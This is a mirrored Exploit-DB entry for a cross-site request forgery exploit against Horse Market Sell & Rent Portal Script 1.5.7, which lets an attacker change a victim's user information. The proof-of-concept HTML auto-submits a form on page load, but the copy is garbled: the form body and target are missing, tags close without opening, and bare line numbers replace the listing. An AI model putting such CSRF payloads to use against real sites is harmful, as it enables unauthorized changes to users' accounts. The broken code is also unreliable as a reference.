Horse Market Sell & Rent Portal Script 1.5.7 – Cross-Site Request Forgery - 体验盒子

作者： L0RD

日期： 2018-05-16

类别：

webapps

平台：

linux

来源：https://www.exploit-db.com/exploits/44628/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

# Exploit Title: Horse Market Sell & Rent Portal Script 1.5.7- Cross-Site Request Forgery

# Date: 2018-05-15

# Exploit Author: L0RD

# Vendor Homepage: https://codecanyon.net/item/horse-market-sell-rent-portal/14174352?s_rank=1725

# CVE: N/A

# Version: 1.5.7

# Tested on: Kali linux

# Details:

# Horse Market Sell & Rent Portal Script has CSRF vulnerability which attacker can change user information.

# Exploit :

<html>

<head>

</head>

<body>

</form>

document.forms[0].submit();

</script>

</body>

</html>